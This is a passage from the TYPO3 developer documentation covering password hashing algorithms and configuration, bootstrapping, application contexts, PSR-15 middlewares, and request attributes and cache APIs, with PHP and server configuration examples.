This is the result:
The cleaned up HTML code
Advanced Processing
There's much more that can be achieved with
\TYPO3\CMS\Core\Html\HtmlParser in particular
more advanced processing using callback methods that
can perform additional work on each parsed element, including
calling the HTML parser recursively.
This is too extensive to cover here.
Password hashing
Changed in version 13.0
The default hash algorithm has been changed from Argon2i to Argon2id.
Introduction
TYPO3 never stores passwords in plain text in the database. If the latest configured hash algorithm has been changed,
TYPO3 will update the stored frontend and backend user password hashes upon user login.
TYPO3 uses modern hash algorithms suitable for the given PHP platform, the
default being Argon2id.
This section is for administrators and users who want to know more about TYPO3 password hashing and
have a basic understanding of hashing algorithms and configuration in TYPO3.
Basic knowledge
If a database has been compromised and the passwords have been stored as plain text,
the attacker has most likely gained access to more than just the user's TYPO3 Frontend / Backend account.
It's not uncommon for someone to use the same email and password combination for more than one online service,
such as their bank account, social media accounts, or even their email provider.
To mitigate this risk, we can use one-way hash algorithms to transform a plain text password into an incomprehensible
string of seemingly "random" characters.
A hash, (also known as a checksum), is the result of a value (in this case the user's password) that has been
transformed using a one-way function.
Hashes are called "one-way functions" because they're quick and easy to generate, but incredibly hard to undo.
You would require an incredible amount of computational power and time to try and reverse a hash back to its original
value.
When a user tries to log in and submits their password through the login form, the same one-way function is performed
and the result is compared against the hash stored in the database. If they're the same, we can safely assume the user
typed in the correct password without ever needing to store their actual password!
The most well-known hash algorithm is MD5. Basic hash algorithms and especially MD5 have drawbacks though:
First, if you find some other string that resolves to the same hash, you're screwed (that's called
a collision). An attacker could login with a password that is not identical to "your" password, but still matches
the calculated hash. And second, if an attacker just calculates a huge list of all possible passwords with their
matching hashes (this is called a rainbow table) and puts them into a database to compare any given hash with,
it can easily look up plain text passwords for given hashes. A simple MD5 hash is susceptible to both of these
attack vectors and thus deemed insecure. MD5 rainbow tables for casual passwords can be found online and MD5 collision
creation can be done without too many issues. In short: MD5 is not a suitable hashing algorithm for securing user passwords.
To mitigate the rainbow table attack vector, the idea of "salting" has been invented: Instead of
hashing the given password directly and always ending up with the same hash for the same password
(if different users use the same password they end up with the same hash in the database), a "salt"
is added to the password. This salt is a random string calculated when the password is first set (when the
user record is created) and stored together with the hash. The basic thinking is that the salt is
added to the password before hashing, the "salt+password" combination is then hashed. The salt is stored
next to the hash in the database. If then a user logs in and submits their username and password, the following
happens:
the requested user is looked up in the database,
the salt of this user is looked up in the database,
the submitted password is concatenated with the salt of the user,
the "salt+password" combination is then hashed and compared with the stored hash of the user.
This is pretty clever and leads to the situation that users with the same password end up with different
hashes in the database since their randomly calculated salt is different. This effectively makes rainbow
tables (direct hash to password lists) unfeasible.
During the past years, further attack vectors to salted password hashes have been found. For example,
MD5 hash attacks have been optimized such they are extremely quick on some platforms, where billions of
hashes per second can be calculated with decent time and money efforts. This allows for easy password guessing, even with
salted hashes. Modern password hash algorithms thus try to mitigate these attack vectors. Their hash calculation
is expensive in terms of memory and CPU time even for short input string like passwords
(short as in "not a book of text") and they can not be easily split into parallel sections to run on many
systems in parallel or optimized into chunks by re-using already computed sections for different input again.
TYPO3 improved its standards in password hash storing over a long time and always went with more modern
approaches: Core version v4.3 from 2009 added salted password storing, v4.5 from 2011 added salted passwords
storing using the algorithm 'phpass' by default, v6.2 from 2014 made salted passwords storing mandatory,
v8 added the improved hash algorithm 'PBKDF2' and used it by default.
Currently, Argon2id is the default and provided automatically by PHP.
Argon2id is rather resilient against GPU and some other attacks, the default TYPO3 Core configuration even raises
the default PHP configuration to make attacks on stored Argon2id user password hashes even more unfeasible.
This is the current state if you are reading this document. The rest is about details: It is possible
to register own password hash algorithms with an extension if you really think this is needed. And it is possible
to change options for frontend and backend user hash algorithms. By default however, TYPO3 automatically selects
a good password hash algorithm and administrators usually do not have to take care of it. The PHP API
is pretty straight forward and helps you to compare passwords with their stored hashes if needed in
extensions.
One last point on this basic hash knowledge section: Password hashes are always only as secure as
the chosen password: If a user has a trivial password like "foo", an attacker who has gotten hold
of the salted password hash will always be successful to crack the hash with a common password hash
crack tool, no matter how expensive the calculation is. Good password hashing does not rescue
users from short passwords, or simple passwords that can be found in a dictionary. It is usually a
good idea to force users to register with a password that has for instance at least some minimum length
and contains even some special characters. See also Password policies.
What does it look like?
Below is an example of a frontend user with its stored password hash. Since TYPO3 can handle multiple
different hash mechanisms in parallel, each hash is prefixed with a unique string that identifies the
used hash algorithm. In this case it is $argon2id which denotes the Argon2id hash algorithm:
Data of a frontend user in the database
MariaDB [cms]> SELECT uid,username,password FROM fe_users WHERE uid=2;
+-----+----------+----------------------------------------------------------------------------------------------------+
| uid | username | password |
+-----+----------+----------------------------------------------------------------------------------------------------+
| 2 | someuser | $argon2id$v=19$m=65536,t=16,p=1$NkVhNmt5Ynl6ZDRkV1RlZw$16iztnV7xYJDlsG0hEL9sLGDGFC/WQx34ogfoWHBVJI |
+-----+----------+----------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
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Configuration
Configuration of password hashing is done by TYPO3 automatically and
administrators usually do not need to worry about details too much: The
installation process will configure the best available hash algorithm by default.
Some of the most secure algorithms currently are Argon2i and Argon2id. Only if the PHP build is incomplete, some less secure
fallback will be selected.
Switching between hash algorithms in a TYPO3 instance is unproblematic: Password hashes of the old selected
algorithm are just kept but newly created users automatically use the new configured hash algorithm. If a user
successfully logs in and a hash in the database for that user is found that uses an algorithm no longer
configured as default hash algorithm, the user password hash will be upgraded to it. This way, existing user password hashes are updated to newer and better hash algorithms over time, upon login.
Note that "dead" users (users that don't use the site anymore and never login) will thus never get their
hashes upgraded to better algorithms. This is an issue that can't be solved on this hash level directly since
upgrading the password hash always requires the plain text password submitted by the user. However, it is a
good idea to clean up dead users from the database anyway. Site administrators should establish processes to
comply with the idea of data minimisation of person related data (General Data Protection Regulation, GDPR). TYPO3 helps here for instance with the
"Table garbage collection" task of the scheduler extension.
See Scheduler: Garbage Collection
To verify and select which specific hash algorithm is currently configured for frontend and backend users, a
preset of the settings module is available. It can be found in
Admin Tools > Settings
> Configuration presets > Password hashing settings:
Argon2id active for frontend and backend users
The image shows settings for an instance that runs with frontend and backend users having their passwords
stored as Argon2id hashes in the database. You should use one of the Argon2 algorithms, as the other listed algorithms are deemed less secure.
They rely on different PHP capabilities and might be suitable fall backs, if Argon2i or Argon2id are not available for whatever
reason.
An array of class names. This is the list of available password hash
algorithms. Extensions may extend this list if they need to register new
(and hopefully even more secure) hash algorithms.
Special options of the configured hash algorithm. This is usually an empty
array to fall back to defaults, see below for more details.
Available hash algorithms
The list of available hash mechanisms is pretty rich and may be extended further
if better hash algorithms over time. Most algorithms have additional configuration options that may be
used to increase or lower the needed computation power to calculated hashes. Administrators usually do
not need to fiddle with these and should go with defaults configured by the Core. If changing these options,
administrators should know exactly what they are doing.
Argon2i / Argon2id
Argon2 is a modern key derivation function that was selected as the winner of the Password Hashing
Competition in July 2015. There are two available versions:
Argon2i: should be available on all PHP builds since PHP version 7.2.
Argon2id: should be available on all PHP builds since PHP version 7.3.
Options:
memory_cost: Maximum memory (in kibibytes) that may be used to compute the Argon2 hash. Defaults to 65536.
time_cost: Maximum amount of time it may take to compute the Argon2 hash. This is the execution time, given in number of iterations. Defaults to 16.
threads: Number of threads to use for computing the Argon2 hash. Defaults to 2.
bcrypt
bcrypt is a password hashing algorithm based on blowfish and has been presented in 1999. It needs some
additional quirks for long passwords in PHP and should only be used if Argon2i is not available. Options:
cost: Denotes the algorithmic time cost that should be used, given in number of iterations. Defaults to 12.
PBKDF2
PBKDF2 is a key derivation function recommended by IETF in RFC 8018 as part of the PKCS series, even
though newer password hashing functions such as Argon2i are designed to address weaknesses of PBKDF2.
It could be a preferred password hash algorithm if storing passwords in a FIPS compliant way is necessary. Options:
hash_count: Number of hash iterations (time cost). Defaults to 25000.
phpass
phpass phpass is a portable public domain password hashing framework for use in PHP applications since 2005.
The implementation should work on almost all PHP builds. Options:
hash_count: The default log2 number of iterations (time cost) for password stretching. Defaults to 14.
blowfish
TYPO3's salted password hash implementation based on blowfish and PHP`s crypt() function.
It has been integrated very early to TYPO3 but should no longer be used. It is only included for instances
that still need to upgrade outdated password hashes to better algorithms. Options:
hash_count: The default log2 number of iterations for password stretching. Defaults to 7.
md5salt
TYPO3's salted password hash implementation based on md5 and PHP`s crypt() function.
It should not be used any longer and is only included for instances that still need
to upgrade outdated password hashes to better algorithms.
PHP API
Creating a hash
To create a new password hash from a given plain-text password, these are the steps to be done:
Let the factory deliver an instance of the default hashing class with given context FE or BE
If the hashing mechanism used in passwords is not supported by your PHP build
Errors like the following might pop up:
#1533818591 TYPO3\CMS\Core\Crypto\PasswordHashing\InvalidPasswordHashException
No implementation found that handles given hash. This happens if the
stored hash uses a mechanism not supported by current server.
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Explanation
If an instance has just been upgraded and if argon2i hash mechanism is
not available locally, the default backend will still try to upgrade a
given user password to argon2i if the install tool has not been
executed once.
This typically happens if a system has just been upgraded and a
backend login has been performed before the install tool has executed
the silent configuration upgrade.
Solutions
Recommended: Fix the server side
It is highly recommended to run PHP 7.2 or above with argon2 support.
Install a PHP build that supports this or make the project hoster support
PHP with argon2. Usually, the argon2 library is just not installed
and PHP is compiled without argon2 support. There is little reason to have a
PHP build without argon support.
Disable argon2 support in the install tool
Call the standalone install tool at example.org/typo3/install.php and log in
once. This should detect
that argon2 is not available and will configure a different default
hash mechanism. A backend login should be possible afterwards.
If that won't do, you can change the hash mechanism in Admin Tools >
Settings > Configuration Presets > Password hashing presets. This
might be necessary if, for example, you moved your system to a different
server where argon2 isn't available. Create a new user that uses the
working algorithm.
Manually disable argon2 in the config/system/settings.php
This may be necessary if access to the install tool is not possible.
This can happen when the first installation was done on a system with argon2
and the installation was then copied to a target system that doesn't support
this encryption type.
Add or edit the following in your config/system/settings.php.
<?phpreturn [
'BE' => [
// ...// This pseudo password enables you to load the standalone install// tool to be able to generate a new hash value. Change the password// at once!'installToolPassword' => '$2y$12$AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
'passwordHashing' => [
'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\BcryptPasswordHash',
'options' => [],
],
],
'FE' => [
// ...'passwordHashing' => [
'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\BcryptPasswordHash',
'options' => [],
],
],
// ...
];
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If this doesn't work then check file config/system/additional.php which
overrides config/system/settings.php.
TYPO3 has a clean bootstrapping process driven mostly
by class
\TYPO3\CMS\Core\Core\Bootstrap . This class is initialized by
calling
Bootstrap::init() and serves as an entry point for later calling
an application class, depending on several context-dependant constraints.
Each application class registers request handlers to
run a certain request type (e.g. eID or Ajax requests in the backend). Each
application is handed over the class loader provided by Composer.
Applications
There are four types of applications provided by the TYPO3 Core:
\TYPO3\CMS\Frontend\Http\Application
This class handles all incoming web requests coming through index.php
in the public web directory. It handles all regular page and eID requests.
It checks if all configuration is set, otherwise redirects to the TYPO3 Install
Tool.
\TYPO3\CMS\Backend\Http\Application
This class handles all incoming web requests for any regular backend call
inside typo3/\*.
Its
\TYPO3\CMS\Backend\Http\RequestHandler is used for all backend
requests, including Ajax routes. If a get/post parameter "route" is set, the
backend routing is called by the
RequestHandler and
searches for a matching route inside the router. The corresponding controller
/ action is called then which returns the response.
The
Application checks if all configuration is set, otherwise it
redirects to the TYPO3 Install Tool.
\TYPO3\CMS\Core\Console\CommandApplication
This class is the entry point for the TYPO3 command line for console commands.
In addition to registering all available commands, this also sets up a CLI user.
\TYPO3\CMS\Install\Http\Application
The install tool
Application only runs with a very limited bootstrap
set up. The failsafe package manager does not take
the
ext_localconf.php of installed extensions into account.
Warning
This bootstrapping API is internal and may change at any time in the near future
even in minor updates. It is thus discouraged to use it in third party code.
Use this class only if other extensibility possibilities such as
Events, Hooks, or XCLASS
are not enough to reach your goals.
Example of bootstrapping the TYPO3 Backend:
// Set up the application for the backend
call_user_func(function(){
$classLoader = require dirname(__DIR__) . '/vendor/autoload.php';
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::run(1, \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::REQUESTTYPE_BE);
\TYPO3\CMS\Core\Core\Bootstrap::init($classLoader)->get(\TYPO3\CMS\Backend\Http\Application::class)->run();
});
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Initialization
Whenever a call to TYPO3 is made, the application goes through a
bootstrapping process managed by a dedicated API. This process is also
used in the frontend, but only the backend process is described here.
Note
This chapter is outdated and should probably be merged with the "HTTP request library / Guzzle / PSR-7"
chapter below. The chapter should include an overview of single bootstrap steps, PSR-15 and routing.
The following steps are performed during bootstrapping.
1. Initialize the class loader
This defines which autoloader to use.
2. Run SystemEnvironmentBuilder
The
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder is responsible for setting
up a system environment that is shared by all contexts (FE, BE, Install Tool and CLI).
This class defines a large number of constants and global variables. If you want
to have an overview of these base values, it is worth taking a look into the following methods:
SystemEnvironmentBuilder::defineTypo3RequestTypes() defines the different
constants for determining if the current request is a frontend, backend, CLI,
Ajax or Install Tool request.
SystemEnvironmentBuilder::defineBaseConstants() defines
constants containing values such as the current version number,
blank character codes and error codes related to services.
SystemEnvironmentBuilder::initializeEnvironment() initializes the
Environment class that points to various parts of the TYPO3 installation like
the absolute path to the typo3 directory or the absolute
path to the installation root.
SystemEnvironmentBuilder::calculateScriptPath() calculates the script
path. This is the absolute path to the entry script. This can be something
like '.../public/index.php' for web calls,
or '.../bin/typo3' or similar for CLI calls.
SystemEnvironmentBuilder::initializeGlobalVariables() sets
some global variables as empty arrays.
SystemEnvironmentBuilder::initializeGlobalTimeTrackingVariables()
defines special variables which contain, for example, the current time or
a simulated time as may be set using the Admin Panel.
3. Initialize bootstrap
\TYPO3\CMS\Core\Core\Bootstrap boots up TYPO3 and returns a container
that is later used to run an application. As a basic overview it does the
following:
Bootstrap::initializeClassLoader() processes all the information
available to be able to determine where to load classes from, including class
alias maps which are used to map legacy class names to new class names.
Bootstrap::checkIfEssentialConfigurationExists() checks if crucial
configuration elements have been set. If that is not the case, the
installation is deemed incomplete and the user is redirected to the Install Tool.
Bootstrap::createConfigurationManager() creates the Configuration
Manager which is then populated with the the main configuration ("TYPO3_CONF_VARS").
$builder->createDependencyInjectionContainer() creates a dependency
injection container which is later returned by
Bootstrap::init().
The caching framework and the package management are set up.
All configuration items from extensions are loaded
The database connection is established
4. Dispatch
After all that the, the newly created container receives the application object
and
Application::run() method is called, which basically dispatches the
request to the right handler.
5. Initialization of the TYPO3 backend
The backend request handler then calls the
MiddlewareDispatcher which
then manages and dispatches a PSR-15 middleware stack. In the backend context
this will typically go through such important steps like:
checking backend access: Is it locked? Does it have proper SSL setup?
Each request, no matter if it runs from the command line or through HTTP,
runs in a specific application context. TYPO3 provides exactly three built-in
contexts:
Production (default) - should be used for a live site
Development - used for development
Testing - is only used internally when executing TYPO3 Core tests. It must not be used otherwise.
The context TYPO3 runs in is specified through the environment variable
TYPO3_CONTEXT. It can be set on the command line:
# run the TYPO3 CLI commands in development context
TYPO3_CONTEXT=Development ./bin/typo3
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or be part of the web server configuration:
# In your Apache configuration (either .htaccess or vhost)# you can either set context to static value with:SetEnv TYPO3_CONTEXT Development
# Or set context depending on current host header# using mod_rewrite moduleRewriteCond%{HTTP_HOST} ^dev\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Development]RewriteCond%{HTTP_HOST} ^staging\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Production/Staging]RewriteCond%{HTTP_HOST} ^www\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Production]# or using setenvif moduleSetEnvIf Host "^dev\.example\.com$" TYPO3_CONTEXT=Development
SetEnvIf Host "^staging\.example\.com$" TYPO3_CONTEXT=Production/Staging
SetEnvIf Host "^www\.example\.com$" TYPO3_CONTEXT=Production
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# In your Nginx configuration, you can pass the context as a fastcgi parameterlocation~ \.php$ {
include fastcgi_params;
fastcgi_index index.php;
fastcgi_param TYPO3_CONTEXT Development/Dev;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
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Custom contexts
In certain situations, more specific contexts are desirable:
a staging system may run in a Production context, but requires a different set of
credentials than the production server.
developers working on a project may need different application specific settings
but prefer to maintain all configuration files in a common Git repository.
By defining custom contexts which inherit from one of the three base contexts,
more specific configuration sets can be realized.
While it is not possible to add new "top-level" contexts at the same level like
Production and Testing, you can create arbitrary sub-contexts, just by
specifying them like <MainContext>/<SubContext>.
For a staging environment a custom context Production/Staging may provide the
necessary settings while the Production/Live context is used on the live instance.
Note
This even works recursively, so if you have a multiple-server staging
setup, you could use the context Production/Staging/Server1 and
Production/Staging/Server2 if both staging servers needed different
configuration.
Attention
Testing Is reserved for internal use when executing TYPO3 Core functional and unit tests
It must not be used otherwise. Instead sub-contexts must be used:
Production/Testing or Development/Testing
Usage example
The current Application Context is set very early in the bootstrap process and can be accessed
through public API for example in the config/system/additional.php file to automatically set
different configuration for different contexts.
TYPO3 has implemented PSR-15 for handling incoming HTTP requests. The
implementation within TYPO3 is often called "Middlewares", as PSR-15 consists of
two interfaces where one is called
Middleware.
The idea is to use PSR-7
Request and
Response as a base, and
wrap the execution with middlewares which implement PSR-15. PSR-15 will receive
the incoming request and return the created response. Within PSR-15 multiple
request handlers and middlewares can be executed. Each of them can adjust the
request and response.
TYPO3 implementation
TYPO3 has implemented the PSR-15 approach in the following way:
TYPO3 will collect and sort all configured PSR-15 middlewares.
TYPO3 will convert all middlewares to PSR-15 request handlers.
TYPO3 will call the first middleware with request and the next middleware.
Each middleware can modify the request if needed, see Middlewares.
Final Request is passed to the last RequestHandler (\TYPO3\CMS\Frontend\Http\RequestHandler
or \TYPO3\CMS\Backend\Http\RequestHandler) which generates PSR-7 response and passes
it back to the last middleware.
Each middleware gets back a PSR-7 response from middleware later in the stack and passes it up the stack to the previous middleware.
Each middleware can modify the response before passing it back.
This response is passed back to the execution flow.
Middlewares
Each middleware has to implement the PSR-15
\Psr\Http\Server\MiddlewareInterface :
interfaceMiddlewareInterface
Fully qualified name
\Psr\Http\Server\MiddlewareInterface
Participant in processing a server request and response.
An HTTP middleware component participates in processing an HTTP message:
by acting on the request, generating the response, or forwarding the
request to a subsequent middleware and possibly acting on its response.
Processes an incoming server request in order to produce a response.
If unable to produce the response itself, it may delegate to the provided
request handler to do so.
param $request
the request
param $handler
the handler
Returns
\Psr\Http\Message\ResponseInterface
By doing so, the middleware can do one or multiple of the following:
Adjust the incoming request, e.g. add further information.
Create and return a PSR-7 response.
Call next request handler (which again can be a middleware).
Adjust response received from the next request handler.
Using Extbase
One note about using Extbase in middlewares: do not! Extbase
relies on frontend TypoScript being present; otherwise
the configuration is not applied. This is usually no problem - Extbase plugins
are typically either included as USER content object
(its content is cached and returned together with other content elements in
fully-cached page context), or the Extbase plugin is registered as USER_INT. In
this case, the TYPO3 Core takes care of calculating TypoScript before
the plugin is rendered, while other USER content objects are fetched from page
cache.
With TYPO3 v11, the "calling Extbase in a context where TypoScript has not been
calculated" scenario did not fail, but simply returned an empty array for
TypoScript, crippling the configuration of the plugin in question. This
mitigation hack has been removed in TYPO3 v13, though. Extension developers
that already use Extbase in a middleware have the following options:
Consider not using Extbase for the use case: Extbase is quite expensive.
Executing it from within middlewares can increase the parse time in
fully-cached page context significantly and should be avoided especially for
"simple" things. In many cases, directly manipulating the response object
and skipping the Extbase overhead in a middleware should be enough.
Move away from the middleware and register the Extbase instance as a casual
USER_INT object via TypoScript: Extbase is
designed to be executed like this, the bootstrap will take care of
properly calculating TypoScript, and Extbase will run as expected.
Note that with TYPO3 v12, the overhead of USER_INT content objects has been
reduced significantly, since TypoScript can be fetched from improved cache
layers more quickly. This is also more resilient towards core changes since
extension developers do not need to go through the fiddly process of
bootstrapping Extbase on their own.
Middleware examples
The following list shows typical use cases for middlewares.
This middleware checks whether foo/bar was called and will return
an unavailable response in that case. Otherwise the next middleware will be
called, and its response is returned instead.
This middleware will check the length of generated output, and add a header
with this information to the response.
In order to do so, the next request handler is called. It will return the generated
response, which can be enriched before it gets returned.
If you want to modify the response coming from certain middleware,
your middleware has to be configured to be before it.
Order of processing middlewares when enriching response is opposite
to when middlewares are modifying the request.
In order to implement a custom middleware, this middleware has to be configured.
TYPO3 already provides some middlewares out of the box. Beside adding your own
middlewares, it's also possible to remove existing middlewares from
the configuration.
TYPO3 has multiple stacks where one middleware might only be necessary in one
of them. Therefore the configuration defines the context on its first level to define the
context. Within each context the middleware is registered as new subsection with
an unique identifier as key.
The default stacks are: frontend and backend.
Each middleware consists of the following options:
target
PHP string
FQCN (=Fully Qualified Class Name) to use as middleware.
before
PHP Array
List of middleware identifiers. The middleware itself is
executed before any other middleware within this array.
after
PHP Array
List of middleware identifiers. The middleware itself is
executed after any other middleware within this array.
disabled
PHP boolean
Allows to disable specific middlewares.
The before and after configuration is used to sort middlewares in form of a stack.
You can check the calculated order in the configuration module in TYPO3 Backend.
Middleware which is configured before another middleware (higher in the stack) wraps execution of following middlewares.
Code written before $handler->handle($request); in the process method can modify
the request before it's passed to the next middlewares. Code written after $handler->handle($request);
can modify the response provided by next middlewares.
Middleware which is configured after another (e.g. MiddlewareB from the diagram above),
will see changes to the request made by previous middleware (MiddlewareA),
but will not see changes made to the response from MiddlewareA.
However, this could lead to circular ordering depending on the ordering constraints of other
middlewares. Alternatively an existing middleware can be disabled and reregistered again with a new
identifier. This will circumvent the risk of circularity:
Always check the integrity of the middleware stack after changing the default ordering.
This can be done in the configuration module that comes with EXT:lowlevel.
Creating new request / response objects
PSR-17 HTTP Factory interfaces are provided by psr/http-factory and should be used as
dependencies for PSR-15 request handlers or services that need to create PSR-7 message objects.
It is discouraged to explicitly create PSR-7 instances of classes from the
\TYPO3\CMS\Core\Http
namespace (they are not public APIs). Instead, use type declarations against PSR-17 HTTP Message Factory
interfaces and dependency injection.
Example
A middleware that needs to send a JSON response when a certain condition is met, uses the
PSR-17 response factory interface (the concrete TYPO3 implementation is injected as a constructor
dependency) to create a new PSR-7 response object:
The PSR-18 HTTP Client is intended to be used by PSR-15 request handlers in order to perform HTTP
requests based on PSR-7 message objects without relying on a specific HTTP client implementation.
PSR-18 consists of a client interface and three exception interfaces:
\Psr\Http\Client\ClientInterface
\Psr\Http\Client\ClientExceptionInterface
\Psr\Http\Client\NetworkExceptionInterface
\Psr\Http\Client\RequestExceptionInterface
Request handlers use dependency injection to retrieve the concrete implementation
of the PSR-18 HTTP client interface
\Psr\Http\Client\ClientInterface .
The PSR-18 HTTP Client interface is provided by psr/http-client and may be used as
dependency for services in order to perform HTTP requests using PSR-7 request objects.
PSR-7 request objects can be created with the PSR-17 Request Factory interface.
Note
This does not replace the currently available Guzzle wrapper
\TYPO3\CMS\Core\Http\RequestFactory->request(), but is available as a more generic,
framework-agnostic alternative. The PSR-18 interface does not allow you to pass
request-specific guzzle options. But global options defined in
$GLOBALS['TYPO3_CONF_VARS']['HTTP']
are taken into account because GuzzleHTTP is used as the backend for this PSR-18 implementation.
The concrete implementation is internal and will be replaced by a native guzzle PSR-18
implementation once it is available.
Example usage
A middleware might need to request an external service in order to transform the response
into a new response. The PSR-18 HTTP client interface is used to perform the external
HTTP request. The PSR-17 Request Factory Interface is used to create the HTTP request that
the PSR-18 HTTP Client expects. The PSR-7 Response Factory is then used to create a new
response to be returned to the user. All of these interface implementations are injected
as constructor dependencies:
In order to see which middlewares are configured and to see the order of
execution, TYPO3 offers a the menu entry HTTP Middlewares (PSR-15)
within the "Configuration" module:
The PSR-7 based request object is available in most contexts. In some scenarios,
like PSR-15 middlewares or backend module controllers,
the PSR-7 base request object is given as argument to the called method.
Extbase controller
The request object compatible with the PSR-7
\Psr\Http\Message\ServerRequestInterface is available in an
Extbase controller via the class property
$this->request:
usePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
finalclassMyControllerextendsActionController{
// ...publicfunctionmyAction(): ResponseInterface{
// ...// Retrieve the language attribute via the request object
$language = $this->request->getAttribute('language');
// ...
}
}
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Note
Prior to TYPO3 v11.3, a custom Extbase request object is available that does
not adhere to the PSR-7 standard. If you want to stay compatible with
TYPO3 v10 and TYPO3 v11 you have to use the global variable.
Extbase validator
New in version 13.2
Extbase
AbstractValidator
provides a getter and a setter for the PSR-7 Request object.
In Extbase validators the current request is available with
$this->getRequest() if they extend the
AbstractValidator :
usePsr\Http\Message\ServerRequestInterface;
finalclassMyUserFunction{
publicfunctiondoSomething(
string $content,
array $conf,
ServerRequestInterface $request
): string{
// ...// Retrieve the language attribute via the request object
$language = $request->getAttribute('language');
// ...
}
}
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Data processor
A data processor receives a
reference to the
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer
as first argument for the
process() method. This object provides a
getRequest() method:
TYPO3 provides the request object also in the global variable
$GLOBALS['TYPO3_REQUEST']. Whenever it is possible the request should be
retrieved within the contexts described above. But this is not always possible
by now.
When using the global variable, it should be wrapped into a getter method:
// use Psr\Http\Message\ServerRequestInterface;privatefunctiongetRequest(): ServerRequestInterface{
return $GLOBALS['TYPO3_REQUEST'];
}
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This way, it is only referenced once. It can be cleaned up later easily when
the request object is made available in that context in a future TYPO3 version.
Attributes
Attributes enriches the request with further information. TYPO3 provides
attributes which can be used in custom implementations.
The attributes can be retrieved via
// Get all available attributes
$allAttributes = $request->getAttributes();
// Get only a specific attribute, here the site entity in frontend context
$site = $request->getAttribute('site');
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The request object is also available as a global variable in
$GLOBALS['TYPO3_REQUEST']. This is a workaround for the Core which has to
access the server parameters at places where
$request is not available.
So, while this object is globally available during any HTTP request, it is
considered bad practice to use this global object, if the request is accessible
in another, official way. The global object is scheduled to vanish at a later
point once the code has been refactored enough to not rely on it anymore.
The following attributes are available in frontend context:
The
applicationType request attribute helps to answer the question:
"Is this a frontend or backend request?". It is available in a frontend and
backend context.
1
It is a frontend request.
2
It is a backend request.
Example:
$applicationType = $request->getAttribute('applicationType');
if ($applicationType === 1) {
// We are in frontend context
} else {
// We are in backend context
}
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Current content object
Instances with Extbase controllers may need
to retrieve data from the current content object that initiated the frontend
Extbase plugin call.
In this case, controllers can access the current content object from the
Extbase request object.
Example:
/**
* @var \TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer $currentContentObject
*/
$currentContentObject = $request->getAttribute('currentContentObject');
// ID of current tt_content record
$uid = $currentContentObject->data['uid'];
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Frontend cache collector
New in version 13.3
This request attribute is a replacement for
TypoScriptFrontendController->addCacheTags() and
TypoScriptFrontendController->getPageCacheTags() which has been
deprecated with TYPO3 v13.3 and removed with TYPO3 v14.0.
An API is available to collect cache tags and their corresponding lifetime. This
API is used in TYPO3 to accumulate cache tags from page cache and content object
cache.
The API is implemented as a PSR-7 request attribute frontend.cache.collector.
Every cache tag has a lifetime. The minimum lifetime is calculated
from all given cache tags. API users do not have to deal with it individually.
The default lifetime for a cache tag is
PHP_INT_MAX, so it expires many
years in the future.
Example: Add a single cache tag
// use TYPO3\CMS\Core\Cache\CacheTag;
$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->addCacheTags(
new CacheTag('tx_myextension_mytable'),
);
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Example: Add multiple cache tags with different lifetimes
// use TYPO3\CMS\Core\Cache\CacheTag;
$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->addCacheTags(
new CacheTag('tx_myextension_mytable_123', 3600),
new CacheTag('tx_myextension_mytable_456', 2592000),
);
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Example: Remove a single cache tag
// use TYPO3\CMS\Core\Cache\CacheTag;
$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->removeCacheTags(
new CacheTag('tx_myextension_mytable_123'),
);
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Example: Remove multiple cache tags
// use TYPO3\CMS\Core\Cache\CacheTag;
$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->removeCacheTags(
new CacheTag('tx_myextension_mytable_123'),
new CacheTag('tx_myextension_mytable_456'),
);
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Example: Get minimum lifetime, calculated from all cache tags
Get minimum lifetime, calculated from all cache tags
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Middleware;
usePsr\Http\Message\ServerRequestInterface;
usePsr\Http\Server\MiddlewareInterface;
usePsr\Http\Server\RequestHandlerInterface;
useTYPO3\CMS\Frontend\Cache\CacheInstruction;
finalclassMyEarlyMiddlewareimplementsMiddlewareInterface{
publicfunctionprocess(
ServerRequestInterface $request,
RequestHandlerInterface $handler,
): ResponseInterface{
// Get the attribute, if not available, use a new CacheInstruction object
$cacheInstruction = $request->getAttribute(
'frontend.cache.instruction',
new CacheInstruction(),
);
// Disable the cache and give a reason
$cacheInstruction->disableCache('EXT:my-extension: My-reason disables caches.');
// Write back the cache instruction to the attribute
$request = $request->withAttribute('frontend.cache.instruction', $cacheInstruction);
// ... more logicreturn $handler->handle($request);
}
}
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Extension with middlewares or other code after typo3/cms-frontend/tsfe
can assume the attribute to be set already. Usage example:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Middleware;
usePsr\Http\Message\ServerRequestInterface;
usePsr\Http\Server\MiddlewareInterface;
usePsr\Http\Server\RequestHandlerInterface;
finalclassMyLaterMiddlewareimplementsMiddlewareInterface{
publicfunctionprocess(
ServerRequestInterface $request,
RequestHandlerInterface $handler,
): ResponseInterface{
// Get the attribute
$cacheInstruction = $request->getAttribute('frontend.cache.instruction');
// Disable the cache and give a reason
$cacheInstruction->disableCache('EXT:my-extension: My-reason disables caches.');
// ... more logicreturn $handler->handle($request);
}
}
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API
classCacheInstruction
Fully qualified name
\TYPO3\CMS\Frontend\Cache\CacheInstruction
This class contains cache details and is created or updated in middlewares of the
Frontend rendering chain and added as Request attribute "frontend.cache.instruction".
Its main goal is to disable the Frontend cache mechanisms in various scenarios, for
instance when the admin panel is used to simulate access times, or when security
mechanisms like cHash evaluation do not match.
disableCache(string $reason)
